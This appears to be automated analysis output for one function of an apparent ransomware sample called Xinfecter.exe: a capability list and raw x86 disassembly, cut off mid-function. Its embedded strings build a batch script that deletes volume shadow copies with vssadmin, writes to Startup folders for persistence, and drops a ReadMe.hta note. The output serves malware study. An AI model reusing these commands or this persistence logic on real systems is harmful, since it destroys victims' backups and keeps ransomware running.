Function at 0x409300
Capabilities:
Contain obfuscated stackstrings
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d64e6
mov eax, dword fs:[0]
push eax
sub esp, 0x798
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x432], dl
mov byte [ebp - 0x431], cl
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xc0]
push 3
xor eax, eax
mov dword [ebp - 0xb0], 0
push 0x4fb038
mov dword [ebp - 0xac], 7
mov word [ebp - 0xc0], ax
call fcn.00437430
xor eax, eax
mov byte [ebp - 4], 2
push eax
push 0x4fb040
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
call fcn.00437430
mov byte [ebp - 4], 3
cmp byte [0x5200ec], 0
je 0x4093b1
push 4
push str.slow
lea ecx, [ebp - 0x78]
call fcn.00437430
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x48]
call fcn.00431aa0
lea eax, [ebp + 0x20]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0xa8]
call fcn.00431aa0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x48]
push dword [ebp - 0x438]
cmp dword [ebp - 0x34], 8
mov esi, dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
push 2
push 0x4fb050
push 0xffffffffffffffff
push esi
push eax
call fcn.0043bfa0
mov edi, eax
add esp, 0x18
cmp edi, 0xffffffff
je 0x40954b
lea edx, [edi + 1]
cmp esi, edx
lea ecx, [ebp - 0x48]
cmovb edx, esi
cmp dword [ebp - 0x34], 8
cmovae ecx, dword [ebp - 0x48]
sub esi, edx
mov dword [ebp - 0x38], esi
lea eax, [esi*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.004a8c10
mov esi, dword [ebp - 0x98]
add esp, 0xc
cmp esi, edi
jb 0x40aca8
mov eax, esi
mov edx, esi
sub eax, edi
cmp eax, esi
cmovb edx, eax
cmp dword [ebp - 0x94], 8
lea eax, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xa8]
sub esi, edx
mov dword [ebp - 0x98], esi
sub esi, edi
lea ecx, [eax + edi*2]
lea eax, [esi*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.004a8c10
push 0x4fb058
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x90]
call fcn.0043a350
mov esi, eax
add esp, 0x10
lea eax, [ebp - 0xa8]
cmp eax, esi
je 0x40950e
mov edx, dword [ebp - 0x94]
cmp edx, 8
jb 0x4094e4
mov ecx, dword [ebp - 0xa8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4094da
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acad
push edx
push ecx
call fcn.0049143c
add esp, 8
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0xa8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x98], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x7c]
cmp edx, 8
jb 0x40954b
mov ecx, dword [ebp - 0x90]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409541
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acad
push edx
push ecx
call fcn.0049143c
add esp, 8
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x474]
call fcn.0043a350
add esp, 4
mov byte [ebp - 4], 6
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push ecx
mov ecx, eax
call fcn.004388e0
mov dword [ebp - 0x444], 0
xor ecx, ecx
mov dword [ebp - 0x440], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x454], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x444], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push 0x4fb05c
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 7
call fcn.004388e0
mov dword [ebp - 0xe0], 0
xor ecx, ecx
mov dword [ebp - 0xdc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xf0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xe0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x440]
cmp edx, 8
jb 0x409653
mov ecx, dword [ebp - 0x454]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409649
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acb2
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 7
mov word [ebp - 0x454], ax
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x460]
cmp edx, 8
jb 0x4096b4
mov ecx, dword [ebp - 0x474]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4096aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acb2
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x464], 0
cmp dword [ebp - 0x34], 8
lea esi, [ebp - 0x48]
mov dword [ebp - 0x460], 7
cmovae esi, dword [ebp - 0x48]
cmp dword [ebp - 0x38], 0xd
mov word [ebp - 0x474], ax
jne 0x409aa4
mov ecx, str.Xinfecter.exe
lea edx, [eax + 0xd]
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x409aa4
add ecx, 2
sub edx, 1
jne 0x4096f0
push 0xb8
push edx
lea eax, [ebp - 0x430]
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0xf0]
lea ecx, [ebp - 0x430]
push 0x20
push eax
call fcn.00434310
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x430]
mov ecx, dword [eax + 4]
test byte [ebp + ecx - 0x424], 6
jne 0x4099b3
mov ecx, dword [ebp + ecx - 0x3f8]
test ecx, ecx
mov word [ebp - 0x438], 1
sete byte [ebp - 0x458]
mov byte [ebp - 0x457], 0
xor eax, eax
mov dword [ebp - 0x20], 0
mov word [ebp - 0x30], ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x438], eax
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00440a10
add esp, 8
test al, al
je 0x40986a
nop word [eax + eax]
cmp byte [ebp - 0x14], 0
mov esi, dword [ebp - 0x18]
jne 0x4097fb
test esi, esi
je 0x4097f6
mov eax, dword [esi + 0x1c]
mov ecx, dword [eax]
test ecx, ecx
je 0x4097e3
mov eax, dword [esi + 0x2c]
cmp dword [eax], 0
jle 0x4097e3
movzx eax, byte [ecx]
jmp 0x4097ec
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x18]
call eax
cmp eax, 0xffffffff
je 0x4097f6
mov byte [ebp - 0x13], al
jmp 0x4097fb
xor esi, esi
mov dword [ebp - 0x18], esi
movsx ax, byte [ebp - 0x13]
lea ecx, [ebp - 0x30]
movzx eax, ax
push eax
call fcn.00437160
test esi, esi
je 0x409847
mov eax, dword [esi + 0x1c]
cmp dword [eax], 0
je 0x409833
mov ecx, dword [esi + 0x2c]
mov eax, dword [ecx]
test eax, eax
jle 0x409833
dec eax
mov dword [ecx], eax
mov ecx, dword [esi + 0x1c]
mov edx, dword [ecx]
lea eax, [edx + 1]
mov dword [ecx], eax
movzx eax, byte [edx]
jmp 0x40983c
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x1c]
call eax
cmp eax, 0xffffffff
je 0x409847
mov byte [ebp - 0x14], 0
jmp 0x409852
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x14], 1
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00440a10
add esp, 8
test al, al
jne 0x4097c0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x30]
mov edi, dword [ebp - 0x1c]
cmp edi, 8
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
cmovae ecx, esi
push 5
push str.a5m6f
push 0
call fcn.0043c0e0
add esp, 0xc
cmp eax, 0xffffffff
je 0x40997b
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x30]
push 5
cmp edi, 8
push str.a5m6f
cmovae ecx, esi
push 0
call fcn.0043c0e0
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x30]
push 5
cmp edi, 8
mov dword [ebp - 0x438], eax
push str.kaj3n
cmovae ecx, esi
push eax
call fcn.0043c0e0
mov ecx, dword [ebp - 0x438]
add esp, 0x18
mov dword [ebp - 0x14], eax
xor eax, eax
mov word [ebp - 0x60], ax
mov eax, dword [ebp - 0x20]
lea edx, [ecx + 5]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 7
cmp eax, edx
jb 0x40acb7
sub dword [ebp - 0x14], ecx
sub eax, edx
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffffb
cmp eax, ecx
cmovb ecx, eax
cmp edi, 8
lea eax, [ebp - 0x30]
cmovae eax, esi
push ecx
lea ecx, [ebp - 0x60]
lea eax, [eax + edx*2]
push eax
call fcn.00437430
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0x60]
cmovae eax, dword [ebp - 0x60]
push eax
call fcn.004b251c
mov edx, dword [ebp - 0x4c]
add esp, 4
cmp edx, 8
jb 0x409975
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40996b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acbc
push edx
push ecx
call fcn.0049143c
add esp, 8
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x1c]
mov byte [ebp - 4], 0xb
cmp edi, 8
jb 0x4099b3
lea edi, [edi*2 + 2]
mov eax, esi
cmp edi, 0x1000
jb 0x4099a9
mov esi, dword [esi - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acc1
push edi
push esi
call fcn.0049143c
add esp, 8
cmp dword [ebp - 0x3d4], 0
lea esi, [ebp - 0x420]
jne 0x4099c6
xor esi, esi
jmp 0x4099ed
lea ecx, [ebp - 0x420]
call fcn.00438140
push dword [ebp - 0x3d4]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b25ba
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x420]
call fcn.00438210
test esi, esi
jne 0x409a2a
mov eax, dword [ebp - 0x430]
lea ecx, [ebp - 0x430]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x430]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x434], eax
lea ecx, [ebp - 0x420]
call fcn.00434fc0
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x430]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x434], eax
lea eax, [ebp - 0x3c0]
mov byte [ebp - 4], 0xe
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004794bf
add esp, 4
mov byte [ebp - 4], 0xa
push 0x5e
xor eax, eax
mov dword [ebp - 0x20], 0
push str.__SystemDrive_Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
call fcn.00437430
xor eax, eax
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 7
mov word [ebp - 0xd8], ax
cmp byte [ebp - 0x431], 1
mov byte [ebp - 4], 0x10
jne 0x409b11
push eax
push 0x4fb040
lea ecx, [ebp - 0xc0]
call fcn.00437430
push 0x4d
push str.__SystemDrive_Documents_and_Settings_username_Start_MenuProgramsStartup_
lea ecx, [ebp - 0x30]
call fcn.00437430
push 0x520088
mov edx, 0x4fb254
lea ecx, [ebp - 0x90]
call fcn.0043a5f0
add esp, 4
push 0x13
push str.:UsersReadMe.hta_
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.004388e0
xor ecx, ecx
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x7c]
movq qword [ebp - 0x74c], xmm0
movq qword [ebp - 0xc8], xmm0
movups xmmword [ebp - 0x75c], xmm1
movups xmmword [ebp - 0xd8], xmm1
cmp edx, 8
jb 0x409bb5
mov ecx, dword [ebp - 0x90]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409bab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40acc6
push edx
push ecx
call fcn.0049143c
add esp, 8
cmp dword [ebp - 0x34], 8
lea esi, [ebp - 0x48]
cmovae esi, dword [ebp - 0x48]
cmp dword [ebp - 0x38], 0xd
jne 0x409be8
mov eax, str.Xinfecter.exe
mov edx, 0xd
sub esi, eax
mov cx, word [eax + esi]
cmp cx, word [eax]
jne 0x409be8
add eax, 2
sub edx, 1
jne 0x409bd2
jmp 0x409cd4
lea eax, [ebp + 0x20]
mov edx, 0x4fb258
push eax
lea ecx, [ebp - 0x90]
call fcn.0043a5f0
add esp, 4
push 5
push str.kaj3n
mov ecx, eax
mov byte [ebp - 4], 0x12
call fcn.004388e0
mov edx, dword [ebp - 0xac]
xor ecx, ecx
movq xmm1, qword [eax + 0x10]
movq qword [ebp - 0x45c], xmm1
movups xmm0, xmmword [eax]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
movups xmmword [ebp - 0x58], xmm0
cmp edx, 8
jb 0x409c84
mov ecx, dword [ebp - 0xc0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409c6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40accb
push edx
push ecx
call fcn.0049143c
movups xmm0, xmmword [ebp - 0x58]
add esp, 8
movq xmm1, qword [ebp - 0x45c]
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x7c]
movq qword [ebp - 0xb0], xmm1
movups xmmword [ebp - 0xc0], xmm0
cmp edx, 8
jb 0x409cd4
mov ecx, dword [ebp - 0x90]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409cca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40accb
push edx
push ecx
call fcn.0049143c
add esp, 8
lea eax, [ebp - 0x48]
mov edx, str._echo_off_r_ntasklist__v__find__I__c__dcdcf____nul_r_nif___ERRORLEVEL_____0__goto_ErrorAlreadyRunning_r_nset_lenddeb_r_nvssadmin.exe_Delete_Shadows__All__Quiet_r_ntitle_dcdcf_r_ngoto_notend_r_n:ErrorAlreadyRunning_r_nexit_r_n:secthree_r_ntasklist__fi__ImageName_eq
push eax
lea ecx, [ebp - 0x6fc]
call fcn.0043a5f0
add esp, 4
push 0x1b
push str.___fo_csv_2_NUL__find__I__
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.004388e0
mov dword [ebp - 0x614], 0
xor ecx, ecx
mov dword [ebp - 0x610], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x624], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x614], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
lea ecx, [ebp - 0x624]
push dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.004388e0
mov dword [ebp - 0x5fc], 0
xor ecx, ecx
mov dword [ebp - 0x5f8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x60c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x60
push str.__NUL_r_nif___ERRORLEVEL___0__goto_imer_r_nif__lend___bed__goto_akakak__r_nset_lendbed_r_nIF_EXIST
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x15
call fcn.004388e0
mov dword [ebp - 0x5e4], 0
xor ecx, ecx
mov dword [ebp - 0x5e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x5f4]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call fcn.004388e0
mov dword [ebp - 0x5cc], 0
xor ecx, ecx
mov dword [ebp - 0x5c8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x1b
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x5dc]
push str.Xinfecter.exe____r_nstart__d
call fcn.004388e0
mov dword [ebp - 0x5b4], 0
xor ecx, ecx
mov dword [ebp - 0x5b0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5c4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5b4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x5c4]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call fcn.004388e0
mov dword [ebp - 0x59c], 0
xor ecx, ecx
mov dword [ebp - 0x598], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5ac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x59c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x10
push str.__Xinfecter.exe
lea ecx, [ebp - 0x5ac]
mov byte [ebp - 4], 0x19
call fcn.004388e0
mov dword [ebp - 0x584], 0
xor ecx, ecx
mov dword [ebp - 0x580], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x594], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x584], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 8
lea ecx, [ebp - 0x594]
push dword [ebp - 0x68]
cmovae eax, dword [ebp - 0x78]
push eax
call fcn.004388e0
mov dword [ebp - 0x56c], 0
xor ecx, ecx
mov dword [ebp - 0x568], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x57c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x56c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x2a
push str._r_n__r_n:secttwo_r_ntasklist__fi__ImageName_eq
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x1b
call fcn.004388e0
mov dword [ebp - 0x554], 0
xor ecx, ecx
mov dword [ebp - 0x550], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x554], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
lea ecx, [ebp - 0x564]
push dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.004388e0
mov dword [ebp - 0x53c], 0
xor ecx, ecx
mov dword [ebp - 0x538], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x54c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x53c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x1b
push str.___fo_csv_2_NUL__find__I__
lea ecx, [ebp - 0x54c]
mov byte [ebp - 4], 0x1d
call fcn.004388e0
mov dword [ebp - 0x524], 0
xor ecx, ecx
mov dword [ebp - 0x520], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x534], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x524], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
lea ecx, [ebp - 0x534]
push dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.004388e0
mov dword [ebp - 0x50c], 0
xor ecx, ecx
mov dword [ebp - 0x508], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x51c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x50c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x6b
push str.__NUL_r_nif___ERRORLEVEL___0__goto_notend_r_ngoto_secton_r_n:notend_r_ntimeout__t_15__nobreak__NUL_r_nIF_NOT_EXIST
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x1f
call fcn.004388e0
mov dword [ebp - 0x4f4], 0
xor ecx, ecx
mov dword [ebp - 0x4f0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x504], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4f4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0xd8]
cmp dword [ebp - 0x748], 8
lea ecx, [ebp - 0x504]
push dword [ebp - 0x74c]
cmovae eax, dword [ebp - 0x75c]
push eax
call fcn.004388e0
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0
movups xmm0, xmmword [eax]
xor ecx, ecx
movups xmmword [ebp - 0x6cc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6bc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x24
push str.___r_ngoto_secttwo_r_n:secton_r_nIF_EXIST
lea ecx, [ebp - 0x6cc]
mov byte [ebp - 4], 0x21
call fcn.004388e0
mov dword [ebp - 0x62c], 0
xor ecx, ecx
mov dword [ebp - 0x628], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x63c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x62c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x63c]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call fcn.004388e0
mov dword [ebp - 0x644], 0
xor ecx, ecx
mov dword [ebp - 0x640], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x654], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x644], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x1b
push str.Xinfecter.exe____r_nstart__d
lea ecx, [ebp - 0x654]
mov byte [ebp - 4], 0x23
call fcn.004388e0
mov dword [ebp - 0x65c], 0
xor ecx, ecx
mov dword [ebp - 0x658], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x66c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x65c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x66c]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call fcn.004388e0
mov dword [ebp - 0x674], 0
xor ecx, ecx
mov dword [ebp - 0x670], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x684], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x674], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x25
push 0x10
push str.__Xinfecter.exe
lea ecx, [ebp - 0x684]
call fcn.004388e0
mov dword [ebp - 0x68c], 0
xor ecx, ecx
mov dword [ebp - 0x688], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x69c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x68c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 8
lea ecx, [ebp - 0x69c]
push dword [ebp - 0x68]
cmovae eax, dword [ebp - 0x78]
push eax
call fcn.004388e0
mov dword [ebp - 0x6a4], 0
xor ecx, ecx
mov dword [ebp - 0x6a0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6b4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6a4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x12
push str._r_n__r_nIF_NOT_EXIST
lea ecx, [ebp - 0x6b4]
mov byte [ebp - 4], 0x27
call fcn.004388e0
mov dword [ebp - 0x704], 0
xor ecx, ecx
mov dword [ebp - 0x700], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x714], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x704], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x714]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call fcn.004388e0
mov dword [ebp - 0x71c], 0
xor ecx, ecx
mov dword [ebp - 0x718], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x72c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x71c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x1c
push str.Xinfecter.exe____r_nIF_EXIST__
lea ecx, [ebp - 0x72c]
mov byte [ebp - 4], 0x29
call fcn.004388e0
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x730], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x744], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x734], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
xor ecx, ecx
mov word [eax], cx
mov byte [ebp - 4], 0x2a
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp - 0x744]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.004388e0
mov dword [ebp - 0x4dc], 0
xor ecx, ecx
mov dword [ebp - 0x4d8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4ec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4dc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 1
push 0x4fb254
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x2b
call fcn.004388e0
mov dword [ebp - 0x4c4], 0
xor ecx, ecx
mov dword [ebp - 0x4c0], 0
movups xmm0, xmmword [eax]
